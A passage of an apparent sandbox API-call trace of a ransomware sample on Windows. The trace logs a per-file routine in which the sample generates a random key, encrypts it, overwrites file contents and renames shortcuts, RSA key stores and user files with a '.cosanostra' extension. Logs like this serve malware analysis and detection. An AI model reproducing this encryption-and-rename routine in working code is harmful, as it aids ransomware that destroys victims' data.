Player.lnk.cosanostra") returned 146 [0100.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.cosanostra")) returned 1 [0100.136] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff318 | out: pbBuffer=0x26ff318) returned 1 [0100.136] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff310*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff310*=0x30) returned 1 [0100.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.137] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 108 [0100.137] StrStrW (lpFirst="Google Chrome.lnk", lpSrch=".txt") returned 0x0 [0100.477] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff717, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.477] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x8e9, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff2d4*=0x8e9, lpOverlapped=0x0) returned 1 [0100.477] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.477] WriteFile (in: hFile=0x180, lpBuffer=0x26ff314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff314*, lpNumberOfBytesWritten=0x26ff2d4*=0x4, lpOverlapped=0x0) returned 1 [0100.477] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff2d4*=0x30, lpOverlapped=0x0) returned 1 [0100.477] CloseHandle (hObject=0x180) returned 1 [0100.477] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.cosanostra") returned 119 [0100.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk.cosanostra")) returned 1 [0100.487] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff308 | out: pbBuffer=0x26ff308) returned 1 [0100.487] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff300*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff300*=0x30) returned 1 [0100.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.491] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187 [0100.491] StrStrW (lpFirst="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".txt") returned 0x0 [0100.493] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffc3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.493] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x26ff2c4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff2c4*=0x3d, lpOverlapped=0x0) returned 1 [0100.493] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.493] WriteFile (in: hFile=0x180, lpBuffer=0x26ff304*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff304*, lpNumberOfBytesWritten=0x26ff2c4*=0x4, lpOverlapped=0x0) returned 1 [0100.493] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff2c4*=0x30, lpOverlapped=0x0) returned 1 [0100.493] CloseHandle (hObject=0x180) returned 1 [0100.493] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra") returned 198 [0100.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra")) returned 1 [0100.495] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff300 | out: pbBuffer=0x26ff300) returned 1 [0100.495] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff2f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff2f8*=0x30) returned 1 [0100.495] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.606] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187 [0100.606] StrStrW (lpFirst="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".txt") returned 0x0 [0100.607] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffa9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.607] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff2bc*=0x57, lpOverlapped=0x0) returned 1 [0100.607] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.607] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff2fc*, lpNumberOfBytesWritten=0x26ff2bc*=0x4, lpOverlapped=0x0) returned 1 [0100.607] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff2bc*=0x30, lpOverlapped=0x0) returned 1 [0100.607] CloseHandle (hObject=0x180) returned 1 [0100.608] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra") returned 198 [0100.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra")) returned 1 [0100.609] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff300 | out: pbBuffer=0x26ff300) returned 1 [0100.609] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff2f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff2f8*=0x30) returned 1 [0100.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B7NM1NxgcQXa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b7nm1nxgcqxa.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.609] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B7NM1NxgcQXa.m4a") returned 66 [0100.609] StrStrW (lpFirst="B7NM1NxgcQXa.m4a", lpSrch=".txt") returned 0x0 [0100.610] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.610] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff2bc*=0x2800, lpOverlapped=0x0) returned 1 [0100.610] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.610] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff2fc*, lpNumberOfBytesWritten=0x26ff2bc*=0x4, lpOverlapped=0x0) returned 1 [0100.610] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff2bc*=0x30, lpOverlapped=0x0) returned 1 [0100.611] CloseHandle (hObject=0x180) returned 1 [0100.611] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B7NM1NxgcQXa.m4a.cosanostra") returned 77 [0100.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B7NM1NxgcQXa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b7nm1nxgcqxa.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B7NM1NxgcQXa.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b7nm1nxgcqxa.m4a.cosanostra")) returned 1 [0100.719] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2e0 | out: pbBuffer=0x26ff2e0) returned 1 [0100.719] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2d8*=0x30) returned 1 [0100.719] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.945] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 131 [0100.945] StrStrW (lpFirst="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpSrch=".txt") returned 0x0 [0101.354] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.354] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff29c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff29c*=0x2800, lpOverlapped=0x0) returned 1 [0101.354] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.354] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff29c, lpOverlapped=0x0 | out: lpBuffer=0x26ff2dc*, lpNumberOfBytesWritten=0x26ff29c*=0x4, lpOverlapped=0x0) returned 1 [0101.356] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff29c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff29c*=0x30, lpOverlapped=0x0) returned 1 [0101.356] CloseHandle (hObject=0x180) returned 1 [0101.356] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl.cosanostra") returned 142 [0101.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl.cosanostra")) returned 1 [0101.358] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2d8 | out: pbBuffer=0x26ff2d8) returned 1 [0101.358] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2d0*=0x30) returned 1 [0101.359] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9MulhUeggLkw4anU3G.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9mulhuegglkw4anu3g.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.359] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9MulhUeggLkw4anU3G.rtf") returned 72 [0101.359] StrStrW (lpFirst="9MulhUeggLkw4anU3G.rtf", lpSrch=".txt") returned 0x0 [0101.360] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.360] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff294, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff294*=0x2800, lpOverlapped=0x0) returned 1 [0101.360] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.360] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff294, lpOverlapped=0x0 | out: lpBuffer=0x26ff2d4*, lpNumberOfBytesWritten=0x26ff294*=0x4, lpOverlapped=0x0) returned 1 [0101.360] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff294, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff294*=0x30, lpOverlapped=0x0) returned 1 [0101.360] CloseHandle (hObject=0x180) returned 1 [0101.360] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9MulhUeggLkw4anU3G.rtf.cosanostra") returned 83 [0101.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9MulhUeggLkw4anU3G.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9mulhuegglkw4anu3g.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9MulhUeggLkw4anU3G.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9mulhuegglkw4anu3g.rtf.cosanostra")) returned 1 [0101.361] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2d0 | out: pbBuffer=0x26ff2d0) returned 1 [0101.361] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2c8*=0x30) returned 1 [0101.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7ZgwC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7zgwc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7ZgwC.bmp") returned 59 [0101.362] StrStrW (lpFirst="7ZgwC.bmp", lpSrch=".txt") returned 0x0 [0101.363] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.363] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff28c*=0x2800, lpOverlapped=0x0) returned 1 [0101.363] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.363] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x26ff2cc*, lpNumberOfBytesWritten=0x26ff28c*=0x4, lpOverlapped=0x0) returned 1 [0101.363] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff28c*=0x30, lpOverlapped=0x0) returned 1 [0101.363] CloseHandle (hObject=0x180) returned 1 [0101.363] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7ZgwC.bmp.cosanostra") returned 70 [0101.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7ZgwC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7zgwc.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7ZgwC.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7zgwc.bmp.cosanostra")) returned 1 [0101.364] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2d0 | out: pbBuffer=0x26ff2d0) returned 1 [0101.364] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2c8*=0x30) returned 1 [0101.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5TxhdJpsU9PhPRXS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5txhdjpsu9phprxs.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.364] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5TxhdJpsU9PhPRXS.csv") returned 70 [0101.364] StrStrW (lpFirst="5TxhdJpsU9PhPRXS.csv", lpSrch=".txt") returned 0x0 [0101.365] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.365] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff28c*=0x2800, lpOverlapped=0x0) returned 1 [0101.365] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.365] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x26ff2cc*, lpNumberOfBytesWritten=0x26ff28c*=0x4, lpOverlapped=0x0) returned 1 [0101.365] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, 